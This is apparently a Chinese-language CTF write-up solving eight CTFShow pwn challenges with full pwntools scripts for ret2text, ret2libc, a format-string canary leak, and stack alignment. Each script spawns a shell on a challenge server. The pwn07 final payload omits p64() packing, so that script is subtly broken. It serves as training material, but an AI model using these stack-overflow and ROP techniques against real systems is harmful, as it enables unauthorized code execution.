0%

CTFShow_0x1

Pwn_CTFShow

1.PWN签到题

直接 nc

出flag,白给

2.pwn02

ret2text 32

file 一下
在这里插入图片描述

32bit

IDA分析

在这里插入图片描述

发现 bin/sh 地址

可以用 cyclic生成字符串,然后gdb run一下,再计算出偏移

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

cyclic -l 0x......

在这里插入图片描述

exp:

1
2
3
4
5
6
7
8
9
from pwn import *

p=remote('111.231.70.44',28042)

payload='a'*13 + p32(0x8048518)

p.sendline(payload)

p.interactive()

3.pwn03

libc 32

参考博客

checksec一下

32bit 程序
IDA分析
先看main函数

在这里插入图片描述

没有什么线索,再进pwnme函数

在这里插入图片描述

在这里插入图片描述

发现存在一个栈溢出
由于找不到system函数的地址,所以

涉及到plt表和got表
程序执行后,plt表里是got表的地址,got表是函数的真实地址
程序还未执行时,got表里还是plt表的地址
我们需要泄漏got表里的地址,由于开启了ASLR,本地和远程的地址不一样
但也只是针对于地址中间位进行随机,最低的12位并不会发生改变
也就是我们需要获取到远程环境的函数的真实地址
进而判断libc的版本,计算泄漏的函数got表的地址与system的偏移,然后获取到system函数的真实地址,进而计算system函数与/bin/sh的偏移,最终getshell
所以我们首先exp的构造
首先栈溢出,利用puts函数的plt表的地址,泄漏puts函数的got表中的函数的真实地址,然后返回地址填写main函数重新跳转回来

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
#context.log_level = 'debug'

p = remote('111.231.70.44',28063)
#p = process('./stack1')

elf = ELF('./stack1')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']

payload = "A"*13 + p32(puts_plt) + p32(main_addr) + p32(puts_got)

p.sendline(payload)

p.recvuntil('\n\n')

get_addr = u32(p.recv(4))

print(hex(get_addr))

输出了puts函数的真实地址
ps:这里要remote过去,否则输出的地址会不一样

在这里插入图片描述

可以通过后三位判断libc的版本
libcSearch

在这里插入图片描述
知道这些信息之后
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
#context.log_level = 'debug'

p = remote('111.231.70.44',28063)
#p = process('./stack1')

elf = ELF('./stack1')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']

payload = "A"*13 + p32(puts_plt) + p32(main_addr) + p32(puts_got)

p.sendline(payload)

p.recvuntil('\n\n')

get_addr = u32(p.recv(4))

print(hex(get_addr))

libcbase = get_addr - 0x067360
system_addr = libcbase + 0x03cd10
bin_sh = libcbase + 0x17b8cf
payload = flat(['A'*13,system_addr,'AAAA',bin_sh])

p.sendline(payload)

p.interactive()

4.pwn04

canary

先checksec

在这里插入图片描述

栈不可执行
Canary打开

canary:
用于防止栈溢出被利用的一种方法,原理是在栈的ebp下面放一个随机数,在函数返回之前会检查这个数有没有被修改,就可以检测是否发生栈溢出。

main函数:

在这里插入图片描述

没有线索,跟进vuln函数

在这里插入图片描述

看到v3就是canary了
也就是下面的 [ebp-0ch]

在这里插入图片描述

在vuln函数中canary赋值给了eax
我们可以通过在这个赋值之后下一个断点,来获取canary的值
在此之前我们需要知道printf函数的地址,用来找到canary的偏移
所以要先在printf函数下面下一个断点
b printf

在这里插入图片描述

run

在这里插入图片描述

可以看到
printf函数的地址是 0xffffd0b0

然后在canary赋值之后下一个断点
ps:在vuln函数和main函数中都有canary的赋值

在这里插入图片描述

在这里插入图片描述

这里需要用main函数里面的(我也不知道为什么。。。
b *0x080486C9

在这里插入图片描述

这样就找到了canary的值
之后看printf的地址,找到canary的值,然后算出偏移
x/40wx 0xffffd0b0

在这里插入图片描述

发现0x0x1276e500的偏移为31,所以构造canary的值为%31$x
canary的值要靠我们的输入buf来赋值,所以要计算一下buf和v3的偏移 = (0x70-0xC) =100

在这里插入图片描述

最后还有 (0x8+4) = 12 个字节需要覆盖,覆盖返回地址到system函数才能取得shell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

p =remote("111.231.70.44",28017)

p.recv()
leak_canary = "%31$x"
p.sendline(leak_canary)
canary = int(p.recv(),16)

print(hex(canary))

getshell = "a" * 100 + p32(canary) + "b" * 12 + p32(0x0804859B)

p.sendline(getshell)

p.interactive()

5.pwn05

ret2text 32

IDA分析一下

在这里插入图片描述

gets函数 明显的溢出
双击s

在这里插入图片描述

偏移为 (0x14+4)
再 Shift+F12

在这里插入图片描述

找到 /bin/sh

在这里插入图片描述

exp:

1
2
3
4
5
6
7
8
9
from pwn import *

p=remote('111.231.70.44',28024)

payload='a'*(0x14+4) + p32(0x08048486)

p.sendline(payload)

p.interactive()

6.pwn06

堆栈平衡 64

64位的pwn05
所以和上一题是差不多的
不同的是这里要平衡堆栈

在这里插入图片描述

push rbp :将bp寄存器的值压入栈中
然后再看偏移

在这里插入图片描述

这里32位是4,而64位则是8

exp:

1
2
3
4
5
6
7
8
9
from pwn import *

p=remote('111.231.70.44',28070)

payload='a'*(0xc+8) + p64(0x400577)+ p64(0x400577)

p.sendline(payload)

p.interactive()

7.pwn07

libc 64

先checksec一下

在这里插入图片描述

这题和pwn03差的不多
pwn03是32bit的,这题是64bit的
64比32需要的payload多了一个pop rdi,ret

1
2
3
4
5
6
32位:
payload:"a"*offset + p32(plt) + p32(ret_addr) + p32(got)
getshell: "a"*offset + p32(system_addr) + "AAAA" + p32(str_bin_sh)
64位:
payload:"a"*offset + p64(pop_rdi) + p64(got) + p64(plt) + p64(ret_addr)
getshell: "a"*offset + p64(ret) + p64(pop_rdi) + p64(str_bin_sh)

ROPgadget --binary [file name]

在这里插入图片描述

在这里插入图片描述

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

context.log_level = 'debug'

context.arch = 'amd64'

#p = process('./pwn')

p = remote('111.231.70.44',28049)

elf = ELF('./pwn') #产生一个对象

puts_plt = elf.plt['puts']

puts_got = elf.got['puts']

pop_rdi = 0x4006e3 # ROPgadget --binary [file name]

main = elf.symbols['main'] #elf.symbols['a_function'] 找到 a_function 的地址

payload = 'a'*20 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
#64位payload: "a"*offset + p64(pop_rdi) + p64(got) + p64(plt) + p64(ret_addr/main)

p.sendline(payload)

p.recvuntil('\x0a') #p.recvuntil(some_string) 接收到 some_string 为止

puts_addr = u64(p.recv(6).ljust(8,b'\x00')) #p.recvn(N) 接受 N(数字) 字符

print(hex(puts_addr))

ret_addr = 0x4006E4

libcbase = puts_addr - 0x0809c0 # -libc_Offset的puts

system_addr = libcbase + 0x04f440 # +libc_Offset的system

bin_sh = libcbase + 0x1b3e9a # +libc_Offset的bin/sh

payload = 'a'*20 + ret_addr + pop_rdi + bin_sh + system_addr
#getshell: b"a"*offset + p64(ret) + p64(pop_rdi) + p64(str_bin_sh)

p.sendline(payload)

p.interactive()


8.栈溢出之ret2text

ret2text 64

很简单的一个栈溢出
直接IDA分析

在这里插入图片描述

从main函数跟进到welcome函数
get() 很明显的溢出

在这里插入图片描述

1
payload = 'a'*(0x80+8)

因为是64位的,所以后面要加上8
Shift+F12

在这里插入图片描述

发现/bin/sh 果然够简单的。。。
双击进去

在这里插入图片描述

再双击

在这里插入图片描述

找到地址
exp:

1
2
3
4
5
6
7
8
9
from pwn import *

p=remote('111.231.70.44',28072)

payload='a'*(0x80+8) + p64(0x40063B)

p.sendline(payload)

p.interactive()

1